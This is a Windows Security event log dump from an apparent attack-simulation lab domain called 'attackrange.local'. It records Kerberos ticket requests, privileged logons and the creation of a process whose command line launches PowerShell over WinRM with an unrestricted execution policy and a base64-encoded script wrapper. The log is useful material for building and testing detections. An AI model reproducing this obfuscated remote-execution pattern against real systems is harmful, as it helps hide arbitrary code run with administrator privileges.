AQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250654
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaa8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1340
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250653
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1158E3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250652
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1158E3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250651
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250650
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250649
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250648
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1158C7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250647
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1158C7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250646
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1158C7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250645
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250644
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250643
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250642
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x115106

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250641
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x114BB2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250640
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x115606

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250639
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x115606
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64468

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250638
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x115606

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250637
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1155A5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250636
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1155A5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64467

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250635
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1155A5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250634
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11553F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250633
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11553F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64466

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250632
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
